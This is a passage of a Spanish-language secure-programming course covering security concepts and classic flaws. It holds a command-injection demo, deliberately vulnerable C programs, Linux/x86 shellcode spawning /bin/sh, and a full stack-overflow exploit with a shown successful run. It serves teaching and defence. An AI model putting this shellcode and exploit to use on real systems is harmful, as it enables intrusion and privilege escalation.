Anda di halaman 1dari 41

Desarrollo Seguro de Aplicaciones v0.

6 Beta

Contenidos

1.- Introducción al desarrollo seguro de aplicaciones

1.1.- ¿Qué es la seguridad informática?

1.2.- ¿Qué es la programación segura?

1.3.- ¿Por qué los programadores escriben código inseguro?

1.4.- Funcionalidad vs. Correción vs. Seguridad

1.5.- El mito del ambiente hostil

2.- Fallos de seguridad

2.1.- Fallos de seguridad clásicos


2.1.1.- Aplicaciones inseguras
2.1.2.- Debordamientos de pila
2.1.3.- Desbordamientos de memoria dinámica
2.1.4.- Errores de formato

2.2.- Evolución del fallo de seguridad


2.2.1.- Aplicaciones inseguras
2.2.2.- Inyección de SQL
2.2.3.- Inyección de código en el servidor
2.2.4.- Inyección de código HTML en el cliente

2.3.- Otros fallos de seguridad comunes


2.3.1.- Escalada de directorios
2.2.2.- Condiciones de carrera
2.2.3.- Errores en el mecanismo de autenticación
2.2.4.- Errores en el mecanismo de cifrado

http://www.kernelpanik.org
frame at kernelpanik.org 1
Desarrollo Seguro de Aplicaciones v0.6 Beta

3.- Desarrollo seguro de aplicaciones

3.1.- Técnicas para una codificación segura


3.1.1.- Puntos críticos en la seguridad de una aplicación
3.1.1.1- Entrada de datos
3.1.1.2- Salida de datos
3.1.1.3- Modificación de datos

3.1.2.- Medidas para una programación segura


3.1.2.1.- Programación conservativa
3.1.2.2.- Control del flujo de ejecución de la aplicación
3.1.2.3.- Verificación exahustiva: celdas de seguridad.

3.1.3.- Ingeniería del software seguro

4.- Herramientas para la seguridad de las aplicaciones

4.1.- Herramientas de búsqueda y chequeo


4.1.1.- RATS
4.1.2.- LClint

4.2.- Herramientas antiexplotación


4.1.1.- Libsafe
4.1.2.- StackGuard y FormatGuard

4.3.- Mecanismos de prevención y detección de intrusiones


4.3.1.- IDS y NIDS
4.3.2.- Firewalls a nivel de aplicación: Firewalls webs

A.- Apéndice A: Bibliografía

B.- Apéndice B: Licencia del documento

http://www.kernelpanik.org
frame at kernelpanik.org 2
Desarrollo Seguro de Aplicaciones v0.6 Beta

Introducción al Desarrollo Seguro de


Aplicaciones

http://www.kernelpanik.org
frame at kernelpanik.org 3
Desarrollo Seguro de Aplicaciones v0.6 Beta

Sería complicado, en unas pocas líneas, exponer de forma clara y concisa el tema sobre el que
versa este documento. La seguridad, y la programación segura, como parte de ella, son
multidisciplinares. En ellas tienen cabidas programación, ingeniería del software, redes, servicios
de red, inteligencia artificial, y un sin fin de áreas de conocimiento asociadas. Es tanto y tan
extenso, a la vez que desconocido para la inmensa mayoría, el mundo de la (in)seguridad
informática que no puede ser condensado en las pocas decenas de hojas que nos vamos a
extender.

No obstante, y pecando de simplicidad, diremos que este texto versa entorno a tres ideas. La
primera es que nuestro software debe hacer únicamente lo que nosotros queramos que haga,
absolutamente nada más. La segunda es que la seguridad es tan importante como la
funcionalidad, por mucho que nos cueste darnos cuenta. Y la tercera es que la única forma de
adquirir los conocimientos necesarios para comprender plenamente las anteriores es conociendo en
profundidad qué es un fallo de seguridad, porqué se cometen y cómo se explotan.

1.1.- ¿Qué es la (in)seguridad informática?

"El único sistema seguro es aquel que está apagado, desconectado, dentro de una caja fuerte de
titanio, enterrado en un bunker de concreto, rodeado de gas tóxico y vigilado por guardias
armados y muy bien pagados. Y aún así, no apostaría mi vida a que es seguro". Gene Spafford

Antes de continuar avanzando en el periplo que nos lleve a profundizar en el ámbito de la


programación segura, es conveniente dedicar unas cuantas líneas a la idea general de “seguridad
informática”, a su significado y a lo que comprende.

“Libre y exento de todo peligro, daño o riesgo”, es la definición que la Real Academia de la Lengua
Española da al término seguridad. Por tanto, hablar de seguridad informática sería hacerlo de una
informática libre y exenta de todo peligro, daño o riesgo. Convendremos en la ambiguedad de esta
definición, y por ello, y de forma más concreta, diremos que: asegurar y garantizar que los
recursos informáticos estén exentos de peligro, daño o riesgo alguno por cualquier tipo de
circunstancia tanto externa como interna, puede ser una definición absoluta del concepto de
seguridad informática.

Esta última definición se plasma en que la seguridad informática toma forma como el conjunto de
reglas y técnicas destinadas a conseguir el objetivo anteriormente fijado de salvaguardar un
recurso informático de cualquier peligro.

http://www.kernelpanik.org
frame at kernelpanik.org 4
Desarrollo Seguro de Aplicaciones v0.6 Beta

Una vez definido un extremo, definiremos su opuesto. La inseguridad informática son el conjunto
de riesgos a los cuales están expuestos los recursos informáticos. Estos riesgos son muchos y muy
variados: virus y gusanos, spyware, malware, ataques de denegación de servicio, accesos no
autorizados, modificación de los sistemas o robos de információn. Asociado al concepto de
inseguridad, está el concepto de vulnerabilidad. Una vulnerabilidad es la exposición a un riesgo
latente, y por tanto cuando hablemos de sistema vulnerable, estaremos hablando de un sistema
que es supceptible de riesgo o daño.

Las definiciones del anterior párrafo nos han de llevar a una forma de pensamiento en el que la
seguridad se entienda no como algo cualitativo sino como un concepto cuantitativo puesto que
siempre existirá una exposición latente al riesgo. Bien sea un riesgo conocido, en cuyo caso el nivel
de riesgo será alto, o desconocido, en cuyo caso el nivel de riesgo será bajo. Y es esta propiedad la
que nos hace redefinir el concepto asoluto de seguridad, llevándonos a un concepto de seguridad
mucho más tangible, mucho más cercano, y mucho más real: La seguridad informática es un
compromiso entre la cantidad de seguridad que queremos alcanzar, la importancia de lo que
queremos proteger y los recursos que queremos destinar a su protección.

De esta nueva defición nace el concepto de “política de seguridad”, que son el conjunto de
requisitos destinados a la protección de los recursos informáticos tanto físicos como lógicos durane
la operación normal del mismo. Las ideas subyacentes a las políticas de seguridad son las
siguientes:

● Identificar y seleccionar lo que se debe proteger: recursos sensibles.


● Establecer niveles de prioridad e importancia.
● Identificar y establecer los niveles de riesgo y vulnerabilidad.
● Realizar un análisis de de costos en prevención, contención y recuperación.

Por último, las políticas de seguridad son el paso previo al despliegue de la “arquitectura de
seguridad” y las “planes de prevención, contención y recuperación”. Por arquitectura de seguridad
entendemos el conjunto de soluciones tecnológicas destinadas a asegurar los recursos a proteger:
físicos y lógicos, locales y en red, mientras que por planes, entendemos el conjunto de normas y
medidas que mantienen y regulan el nivel de seguridad en los mismos.

http://www.kernelpanik.org
frame at kernelpanik.org 5
Desarrollo Seguro de Aplicaciones v0.6 Beta

1.2.- ¿Qué es la programación segura?


La programación segura, es una parte importante de la seguridad informática, englobada dentro
del ámbito de la prevención. No hay una definición exacta pero podemos decir que un programa
seguro será aquel programa en el que su uso no pueda ser subvertido por terceros, obteniendo un
posible beneficio de ello, y realice única y exclusivamente las funciones para las que ha sido
destinado. Por tanto la programación segura son el conjunto de técnicas, normas y conocimientos
que permiten crear programas cuyo uso no pueda ser subvertido.

Al igual que la seguridad informática, la programación segura es un concepto cuantitativo, y un


compromiso entre cuanta seguridad queremos en nuestro programa y cuanto esfuerzo estamos
destinados a invertir en ella.

Compromisos de seguridad bajos, aunmentarán las posibilidades de diseñar y codificar aplicaciones


vulnerables, cuyo uso pueda ser alterado comprometiendo así la seguridad del sistema que la
ejecute, y por extensión la del resto de sistemas que guarden relación con este.

Para ejemplificar cómo el uso de un programa puede ser alterado, vamos a diseñar nuestro primer
programa. Supongamos que somos un administrador de un sistema operativo UNIX, y que
queremos añadir una funcionalidad al mismo, por ejemplo la de que nuestros usuarios puedan
saber el número de líneas de un fichero. Una utilidad estúpida, sin duda alguna, pero utilidad al fin
y al cabo.

$cat catwc.c
#include <stdio.h>

int main(int argc, char **argv) {
char comando[255];

        if (argc==2) {
            snprintf(comando,sizeof(comando)­1, "/bin/cat %s | /bin/wc ­l",argv[1]);
            system(comando);
} else {
            printf("Uso: %s fichero palabra\n");
        }
}

Vamos a ver como el programa funcionaría de forma normal.

$ ./catwc afunc.c
5

Ahora vamos a ver como se altera su uso y se invoca al comando “/usr/bin/id” desde el código
debido al uso inapropiado de la función “system”.

$ ./catwc "/etc/hostname && /usr/bin/id && /usr/bin/id"
hawking
uid=500(frame) gid=500(frame) grupos=500(frame)
1

http://www.kernelpanik.org
frame at kernelpanik.org 6
Desarrollo Seguro de Aplicaciones v0.6 Beta

Este sencillo ejemplo recoge de forma fiel las ideas sobre las que girarán las siguientes páginas:
cómo subvertir el uso de un software y cómo protegerse de esos posibles ataques.

1.3.- ¿Por qué los programadores escriben código inseguro?


Esta es una pregunta que lleva mucho tiempo intentando ser contestada, ya en 1986, Matt Bishop,
intentaba dar unas guías para que esto no ocurriera en su “Howto write a setuid program”, pero
fue unos cuantos años más adelante, exactamente en 1998, cuando Elias Levy (Aleph1) en un post
a Bugtraq, intentaba responder concretamente a esta pregunta. En el año 1999, David A.
Wheeler, autor de “Secure Programming for Linux and Unix HOWTO”, apuntaba nuevas ideas y
concretaba estas en su documento.

No vamos a reinventar la rueda. Los motivos más comunes, entre otros que podemos dejar en el
tintero, son los siguientes:

No es un tema que se suela explicar en la universidad, ni en centros de formación


profesional. Durante los estudios se cursan muchas asignaturas de programacion, en las
que se ensenan distintos lenguajes. En determinadas asignaturas se ven temas de
seguridad, criptografia, protocolos, etc. pero no se ensena a programar de modo seguro:
como evitar buffer overflows, comprobaciones en las operaciones de entrada/salida, etc.
Este es uno de los principales problemas.

Algo parecido pasa con los libros, existen muchisimos libros de programación, pero muy
pocos hablan acerca de escribir programas seguros, aunque es algo que en los últimos años
tiende a corregirse.

Determinados lenguajes son propensos a cometer errores por los más diversos motivos: no
existe control de los límites en los buffers, contienen funciones que son potencialmente
peligrosas bajo ciertas circunstancias, no hacen suficientes comprobaciones sobre los
parámetros de entrada, etc.

Muchos programadores se conforman con que su programa funcione, es decir satisfaga los
requerimientos funcionales, y si algo falla ya se corregirá en el futuro. El pensamiento tiene
que ser el opuesto, hagamos un buen programa, que el numero de fallos que haya que
corregir en el futuro sera menor.

Programar de forma segura conlleva un mayor tiempo de desarrollo, esto hace que
determinadas empresas publiquen codigo inseguro por cumplir unos plazos de mercado.

Los programadores somos humanos, es practicamente imposible no equivocarse cuando


escribes miles de lineas de codigo.

No existe una conciencia real sobre el problema de la seguridad, y lo que entraña. Los
consumidores no se preocupan realmente de este tema y si de que el programa satisfaga la
funcionalidad demandada.

http://www.kernelpanik.org
frame at kernelpanik.org 7
Desarrollo Seguro de Aplicaciones v0.6 Beta

Existen diferencias notables entre funcional, correcto y seguro, sin embargo estás no
siempre son reflejadas en el desarrollo de un software. Un programa correcto en ciertos
aspectos formales, y que cumpa su función no tiene porqué ser seguro.

1.4.- Funcionalidad vs. Corrección vs. Seguridad


Una vez que hemos definido qué es la seguridad, qué es la programación segura y porqué se
escribe, al menos la mayoría de las veces, código inseguro. Vamos a hablar de 3 conceptos que
nos deben ser familiares. Pero no lo vamos a hacer desde una árdua definición sino desde un
ejemplo que sirva de cierre, y unifique los conceptos que se han tratado hasta este momento.

Transformémonos en programadores por un instante. Nos acaban de dar el encargo de crear un


programa que concatene a la frase “Hola” al texto introducido como argumento al programa. Una
salida de ejemplo sería la siguiente:

$ ./nuestroprograma pedro
Hola pedro

Una primera aproximación podría ser la de programa “afuncional”. El siguiente puede ser válido:

#include <stdio.h>

int main(void) {
printf(“Hola pedro\n”);
}

Realmente nadie podrá negar que ese código no haga lo que pide el ejemplo, pero desde luego no
cumple la funcionalidad requerida.

El siguiente caso es el del programa funcional. Bien pudiera ser el siguiente:

#include <stdio.h>

int main(int argc, char **argv) {
char buffer[128];

    strcpy(buffer,"Hola ");
    strcat(buffer,argv[1]);
    strcat(buffer,"\n");
    printf(buffer);
}

Sin embargo, ¿es ese código correcto?. La corrección de un código es algo demasiado genérico. El
código es correcto en cuanto a su funcionalidad, hace lo que se pide en el enunciado. El código es
correcto en cuanto a su sintaxis, por tanto es perfectamente compilable. Pero el código no es
correcto en cuanto a la seguridad, es más, cuenta con 2 fallos de seguridad: desbordamiento de
buffer y error de formato. Veámoslo:

http://www.kernelpanik.org
frame at kernelpanik.org 8
Desarrollo Seguro de Aplicaciones v0.6 Beta

$ ./func paco
Hola paco

$./func AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Hola AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Violación de segmento

$./func %u%s
Violación de segmento

De momento no entraremos a valorar si esas violaciones de segmento son fallos de seguridad


explotables. Simplemente diremos que se producen en el primer caso al desbordar la pila, y en el
segundo caso por un error de formato en la función printf.

¿Cuál sería el código correcto, funcional y seguro apropiado al problema planteado?.


#include <stdio.h>

int main(int argc, char **argv) {
if (argc == 2) printf(“Hola %s\n”, argv[1]);
}

Acabamos de comprobar en las pocas líneas que ocupa este apartado, y con un ejemplo de lo más
trivial, las muchas formas que hay de afrotar un problema de programación, y los diversos
resultados que podemos obtener. Es muy común conformarse con que nuestro programa compile y
haga lo que se espera de él, sin embargo, comprobar que sólo hace lo que queremos y que su uso
no puede ser subvertido en beneficio de un tercero, es decir, programar con la seguridad en
mente, requiere un esfuerzo consciente por parte del programador para generar un código correcto
desde el ámbito de la seguridad.

1.5.- El mito del ambiente hostil


Como último punto de esta introducción, vamos a tratar el mito del ambiente hostil. Son
numerosos los documentos en el que se habla de ambientes hostiles, de ambientes confiables, o de
entornos de bajo riesgo. La realidad es que no existen ambientes confiables. Todo ambiente
confiable puede tornarse hostil, tanto en cuanto puede evolucionar ante determinadas
circunstancias.

Podemos pensar que nuestra tranquila intranet es un ambiente confiable. Un lugar donde podemos
probar prototipos o software en estado alfa/beta. Y es cierto, puede parecer un ambiente confiable,
y de hecho lo será, pero que puedan existir ambientes confiables en un determinado momento no
significa que se pueda hacer software pensando en ambientes confiables y software pensando en
ambientes hostiles. Un software debe intentar responder a unos criterios de seguridad sea cual sea
el ambiente: sea una intranet, sea el propio host local, o sea un concurso de toma de bandera en
un certamen de seguridad informática. Programar con unos criterios de seguridad pobres,
pensando en el escenario de destino, es algo nefasto y de consecuencias negativas la gran mayoría
de las veces, ya que bastará un cambio en el entorno para que la seguridad quede comprometida.

http://www.kernelpanik.org
frame at kernelpanik.org 9
Desarrollo Seguro de Aplicaciones v0.6 Beta

Fallos de seguridad

http://www.kernelpanik.org
frame at kernelpanik.org 10
Desarrollo Seguro de Aplicaciones v0.6 Beta

En el apartado anterior hemos visto que el comportamiento de ciertos programas de ejemplo,


puede ser modificado, obteniendo resultados a priori no esperados y alejados del comportamiento
normal que cabría esperar de ellos. Sin embargo, no hemos entrado a valorar si constituyen fallos
de seguridad explotables, o simplemente situaciones indeseables que pueden ser entendidas como
funcionamientos anómalos, pero no inseguros. Ya es momento, de profundizar en la siguiente
capa, y distinguir qué es un fallo de seguridad, cuales son los más comunes, cómo se explotan y
cómo se previenen.

Un fallo de seguridad, será aquel error de cuya explotación un atacante obtenga una elevación de
privilegios en el sistema atacado. El fallo de seguridad, como veremos más adelante no sólo es un
error en la codificación del software, bien puede ser un error lógico en la implementación, en el
diseño, o incluso en el propio concepto a desarrollar.

A la hora de presentar una correlación de fallos, con algún mínimo orden, se han planteado una
serie de problemas según los modelos posibles. Al final, se ha optado por la que hemos
considerado más didáctica, aunque quizá no la más correcta. La exposición se iniciará con los fallos
de seguridad clásicos, existentes desde hace más de una década, y los cuales tienden a estar
asociados a procesos privilegiados y a servicios de red. Acto seguido se pasará a los nuevos fallos
de seguridad que ha traido la llegada de las aplicaciones web, y las aplicaciones por capas. Para
terminar, quizá haciendo un abuso del cajón desastre, con una serie de fallos de seguridad que son
transversales a todas las aplicaciones.

2.1.- Fallos de seguridad clásicos

La historia de la inseguridad informática y de aprovechar los fallos de seguridad es tan antigua


como la propia informática. En sus inicios eran técnicas rudimentarias, y bastante triviales:
búsqueda de cuentas sin contraseña, o con contraseñas por defecto, busqueda de errores triviales
en programas suideados, generalmente shell scripts, explotables generalmente con una simple
modificación del PATH, o de la variable de entorno IFS, ataques por fuerza bruta a contraseñas
débiles, y otra serie de técnicas que sin una excesiva complejidad técnica obtenían unos resultados
más que aceptables.

Pero sin duda el hecho que marca el inicio de la (in)seguridad informática tal y como la conocemos
en la actualidad es el año 1994. Año en el cual un desbordamiento de buffer remoto fue
convenientemente explotado sobre un NCSA Web Server 1.3 ejecutandose sobre HP-UX. Desde ese
momento, el stack buffer overflow marcó una época, que todavía no se ha cerrado. En 1995,
Mudge, miembro de l0pth, publicaría “How to write buffers overflows”, un año más tarde plasmoid,
miembro de THC, publicaría “Stack Overlflows exploits on LINUX /BSDOS / FREEBSD / SUNOS /
SOLARiS/ HP-UX”. Un año más tarde Aleph One, publicaría en la edición 49 de Phrack, “Smashing
the stack for fun and profit”. Iniciándose así la carrera hacia el root remoto gracias a la
conveniente explotación de desbordamientos de pila y que con unas cuantas evoluciones, que
veremos a continuación, persiste hasta nuestros días.

http://www.kernelpanik.org
frame at kernelpanik.org 11
Desarrollo Seguro de Aplicaciones v0.6 Beta

2.1.1.- Aplicaciones inseguras

Dos son los tipos de aplicación insegura más característicos de este modelo. Por un lado nos
encontramos con los procesos privilegiados y por otro con los servicios, que podrán ser o no, un
proceso privilegiado, en función de las necesidades del mismo.

Por proceso privilegiado entenderemos aquel que se ejecuta con un identificador de usuario que
otorga unos privilegios por encima de lo normal. Generalmente son tradicionales de los sistemas
UNIX, y el identificador de ejecución más común es el 0 (root). Dentro de UNIX estos procesos,
pueden ser bien los ejecutados por el root, sea desde un terminal, o desde los scripts de inicio. O
bien los procesos “suideados”. Este término es usado para definir aquel proceso cuya ejecución
activa el suid bit, lo que equivale a que su ejecución por parte de cualquier usuario hace que el
kernel extienda los privilegios del usuario a los definidos para el propietario del binario.

$ ls ­l /bin/mount
­rwsr­xr­x  1 root root 80008 oct 14  2004 /bin/mount

$ls ­l /bin/ping
­rwsr­xr­x  1 root root 35108 jun 16  2004 /bin/ping

En este caso, la ejecución de los binarios “mount” y “ping”, cuyo propietario es el root, hace que el
proceso extienda los privilegios del usuario que lo ejecuta, a los del administrador del sistema. La
razón es permitir que usuarios del sistema realicen tareas privilegiadas, como puede ser
montar/desmontar unidades de disco, en el caso de mount, o tener acceso a socket de bajo nivel,
raw sockets, en el caso del comando ping.

Por servicio entendemos un proceso, privilegiado o no, cuya ejecución se lleva a cabo en segundo
plano, y que aún pudiendo tener una terminal administrativa, es bastante común que carezca de
ella, o bien que presente un interfaz a nivel de red permitiendo la conexión a host remotos.
Ejemplos de servicios podemos tener muchos y muy variados: cron daemon, servicios de bases de
datos, servicios web, servicios de ftp, servicios de shell remota, etc. El comando “chkconfig --list”
nos devuelve la lista de servicios instalados en la máquina, y su ejecución o no de forma
automática en los scripts de inicio del sistema.

crond 0:desactivado 1:desactivado 2:activo      3:activo      4:activo      5:activo      6:desactivado
httpd 0:desactivado 1:desactivado 2:desactivado 3:desactivado 4:desactivado 5:desactivado 6:desactivado

En este caso podemos ver dos servicios, uno el demonio de tareas ( crond ), y otro el demonio de
http ( httpd ). El primero se ejecuta en los runlevel 3,4 y 5, mientras el segundo no cuenta con
inicio automático, y deberá ser ejecutado por el administrador.

De cara a la explotación por parte de un usuario malintencionado decir que el foco de interés se
centrará en cualquier servicio de red, ya que permite el acceso a un nuevo host, sea cual sea el
nivel de privilegios con el que lo haga, además de cualquier proceso local que permita una
escalada de privilegios.

http://www.kernelpanik.org
frame at kernelpanik.org 12
Desarrollo Seguro de Aplicaciones v0.6 Beta

2.1.2.- Desbordamientos de pila

El desbordamiento de pila, generalmente conocido como “stack buffer overflow” podría ser
calificado como el fallo de seguridad más común desde 1995 hasta el año 2000. Durante esos 5
años, ningún otro fallo de seguridad pudo hacerle sombra, ningún otro fallo de seguridad produjo
tantos exploits locales o remotos, ningún otro fallo de seguridad supuso mayor problema para la
defensa de los sistemas informáticos que este. No obstante se tiene conocimiento de este fallo
desde que en el año 1988, Robert Morris, creará su ya famoso gusano, aprovechando un
desbordamiento de buffer en el demonio fingerd. 15 años después, sigue siendo un problema de
seguridad a erradicar.

¿Qué es un desbordamiento de buffer en pila?. Intuitivamente, y según lo que hemos visto


anteriormente, el concepto parece claro. Hay una pila, hay unos buffers, es decir regiones
contiguas de memoria asociadas a un tipo de dato, y se escribe en ellos por encima de su tamaño,
desbordándolo. Idea que se fundamenta en el hecho de que ciertos lenguajes, como por ejemplo
C, en alguna de sus funciones, no comprueban el tamaño del buffer en el que están escribiendo
pudiendo escribir más allá de los límites de este, alterando así la memoria, con consecuencias
indeseables la mayor parte de las veces. Las funciones inseguras más comunes son: strcpy, strcat,
sprintf, gets y scanf.

¿Qué se consigue desbordando la pila?. Para contestar a esa pregunta hay que ver de cerca la
estructura de la pila y como se comporta, y antes de eso, en general que aspecto tiene la memoria
de un proceso en ejecución. En este caso elegimos la estrucutra de una pila x86. Decir que
estructura de la pila varía entre arquitecturas, hay arquitecturas con pila decreciente, como
pueden ser la de intel, la de sparc o la de mips, mientras que otras arquitecturas, como por
ejemplo hp-parisc, presentan arquitecturas de pila creciente.

                             
                             /­­­­­­­­­­­­­­­­­­\  ­ direccion de memoria
                             |                  |  
                             |       Texto      |  
                             |                  |
                             |­­­­­­­­­­­­­­­­­­|
                             |  (Inicializados) |
                             |       Datos      |
                             |(No inicializados)|
                             |­­­­­­­­­­­­­­­­­­|
                             |                  |
                             |       Pila       |  
                             |                  |  
                   \­­­­­­­­­­­­­­­­­­/  + direccion de memoria

http://www.kernelpanik.org
frame at kernelpanik.org 13
Desarrollo Seguro de Aplicaciones v0.6 Beta

Como podemos ver en el gráfico, esta es la organización de memoria de un proceso. La región de


texto, corresponde al código y a los datos de sólo lectura, es una región en la que no se suele
poder escribir, y cuando lo hacemos nos encontramos con una violación de segmento. En la zona
de datos, se hayan, las variables estáticas del proceso, inicializadas o no. Por último nos
encontramos la pila.

¿Qué es una pila?. Una estructura que se comporta según el criterio LIFO, es decir, último en
entrar, primero en salir. Las operaciones comunes sobre la pila son dos PUSH, apila aumentando
en un elemento el tamaño de la pila, y POP, desapila reduciéndolo. El motivo de usar la pila, tiene
su razón de ser en la programación de alto nivel: la necesidad de controlar el flujo de un programa
permitiendo su recuperación tras un salto a una función, así como el paso de variables a funciones.

Ahora entraremos a hablar en profundidad de la región de pila. En la pila el puntero SP/ESP (Stack
Pointer) se encuentra situado en la parte superior de la misma, por el contrario la parte baja de la
pila se encuentra en una dirección fija. Otro puntero interesante es el SFP ( Stack Frame Pointer )
que si bien no pertenece a la arquitectura del computador es usado por el compilador como
referencia fija al marco de pila ( stack frame ) en uso permitiendo así un direccionamiento relativo
a él. En la arquitectura x86 es el registro BP/EBP el usado para almacenar el valor del SFP. Un
marco de pila contiene los parámetros necesarios para la función llamada: variables locales,
parámetros pasados a la función, la dirección del anterior SFP, y la dirección del puntero de
instrucciones IP/EIP antes de la llamada a la función.

A continuación veremos los conceptos enunciados con un ejemplo.

#include <stdio.h>

void numeros(int uno, int dos, int tres) {
 char buffer1[10];
 char buffer2[20];
}

int main() {
 numeros(1,2,3);
}

El código en ensamblador generado por la llamada a la función números será el siguiente:

pushl   $3
pushl   $2
pushl   $1
call    numeros

numeros:
 pushl   %ebp
 movl    %esp, %ebp
 subl    $56, %esp
 leave
 ret

http://www.kernelpanik.org
frame at kernelpanik.org 14
Desarrollo Seguro de Aplicaciones v0.6 Beta

Como vemos se apilan los 3 valores, se llama a la función numeros mediante la instrucción call que
apila IP/EIP, y una vez en la función número se guarda el SFP anterior, se posiciona el nuevo y se
crea espacio para las variables locales “buffer1” y “buffer2”. Dado que en nuestro caso queremos
reservar El aspecto de la pila sería el siguiente.

  parte baja                                                      parte alta
  de memoria                                                      de memoria

               buffer2      buffer1  sfp   ret    a     b     c
  <­­­­­­   [            ][        ][    ][    ][    ][    ][    ]

  parte alta                                                      parte baja
  de la pila                                                      de la pila

Aquí, ya podemos intuir, la idea subyacente a desbordar un buffer. Si los buffer que hay en la pila
se desbordan, sobreescribiremos los valores de SFP y de RET, lo cual nos hará llevar el flujo del
programa a la dirección que maś nos interese, pudiendo alterar su comportamiento.

La siguiente idea es: ¿para qué queremos hacer que el programa retorne a una dirección?. ¿Qué
vamos a conseguir de esa forma?. Esto nos introduce en el concepto de shellcode. Llevar el
programa a retornar a una posición cualquiera, convendremos no es interesante en ningún
aspecto, ¿pero qué sucede si somos capaces de hacer el que el programa retorne a una dirección
en la cual nosotros hemos almacenado código ejecutable?. La respuesta es evidente, el puntero
IP/EIP apuntará a esa región, y el código contenido en ella se ejecutará. Ese código recibe el
nombre de “shellcode”, nombre heredado de su objetivo primordial: proporcionarnos un acceso a
una shell del sistema, bien sea local o remota, desde donde podamos usar los privilegios obtenidos
del desbordamiento de ese buffer.

#include <stdio.h>
void main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}

Éste sería el aspecto en C de un shellcode local. ¿Pero qué aspecto tendría eso codificado en código
máquina?. Huelga decir que no vamos a profundizar en la escritura de shellcodes, ya que no es el
objetivo de este documento.

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

http://www.kernelpanik.org
frame at kernelpanik.org 15
Desarrollo Seguro de Aplicaciones v0.6 Beta

Este código hexadecimal es la transformación del código C original, a código máquina. En este caso
vemos un shellcode para Linux/x86. El proceso de codificación consiste en líneas generales en
desensamblar el binario generado por el compilador para el código C y obtener el código ASM
mínino y sin contenidos nulos. Una vez visto, de forma tan ligera lo que es un shellcode,
mezclaremos ambos conceptos: el de desbordar el buffer, con el de apuntar el puntero EIP/IP a
nuestra shellcode en memoria, para conseguir ejecutar código en la aplicación.

parte baja DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     parte alta
de la mem  89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     de la memoria

           buffer                sfp   ret   a     b     c

<­­­­­­   [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
                 ^                     |
                 |_____________________|
parte alta                                                        parte baja
la pila                                                           de la pila

Aquí tenemos de forma gráfica la idea contenida en el párrafo anterior. En el buffer que podemos
desbordar contenemos: NOP's ( código máquina que no ejecuta función alguna ), su razón de ser
dentro de un exploit es mejorar la eficiencia del ataque ya que permite tener un mayor espacio de
salto, en este caso ficticio la dirección de retorno podría ser desde D8 hasta la E3, cuantos más
NOP's tengamos mayor será el espacio de salto, y más eficiencia conseguiremos. A continuación
viene la shellcode, y al finalizar la misma, nos encontramos con la dirección de retorno del exploit.
La dirección de retorno como vemos en este caso, apunta a 0xDE, que sería uno de los NOP's
inyectados, y que haría posicianarse al punterio IP/EIP dentro de nuestro código, y comenzar su
ejecución.

A continuación mostraremos un ejemplo básico de desbordamiento de buffer, un exploit básico


para él, y dos escenarios, uno donde podrá ser explotado y otro donde no, y los motivos.

El siguiente código, de funcionalidad, bastante limitada, nos servirá para ejemplificar lo


anteriormente expuesto. La idea es introducir un buffer en argv[1] que permita desbordar el buffer
de 512 bytes y conseguir ejecutar el código que deseemos.

void main(int argc, char *argv[]) {

  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]);
}

El exploit, tendrá la misión de calcular la dirección de retorno, e inicializar una variable de entorno
denominada EGG, con la estructura descrita anteriormente, es decir, NOP's + SHELLCODE +
DIRECCION DE RETORNO.

http://www.kernelpanik.org
frame at kernelpanik.org 16
Desarrollo Seguro de Aplicaciones v0.6 Beta

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/ls";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  
  addr = get_sp() ­ offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;
  
  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;
  
  ptr = buff + ((bsize/2) ­ (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize ­ 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}

El primer entorno donde veremos la explotación de este desbordamiento de buffer será en


GNU/Debian.

$ cat /etc/issue
Debian GNU/Linux 3.1

http://www.kernelpanik.org
frame at kernelpanik.org 17
Desarrollo Seguro de Aplicaciones v0.6 Beta

$ uname ­a
Linux seldonserver 2.6.8­2­386 #1 Tue Mar 22 13:36:06 EST 2005 i686 GNU/Linux

$ ./exp 612
Using address: 0xbffffa58
$ ./vuln $EGG
exp  exp.c  vuln  vuln.c

El resultado ha sido el esperado la shellcode cargada en el exploit tenía como misión llamar al
binario /bin/ls, tarea que ha realizado con éxito.

A continuación intentaremos desbordar el mismo buffer en Fedora Core 3, con resultados poco
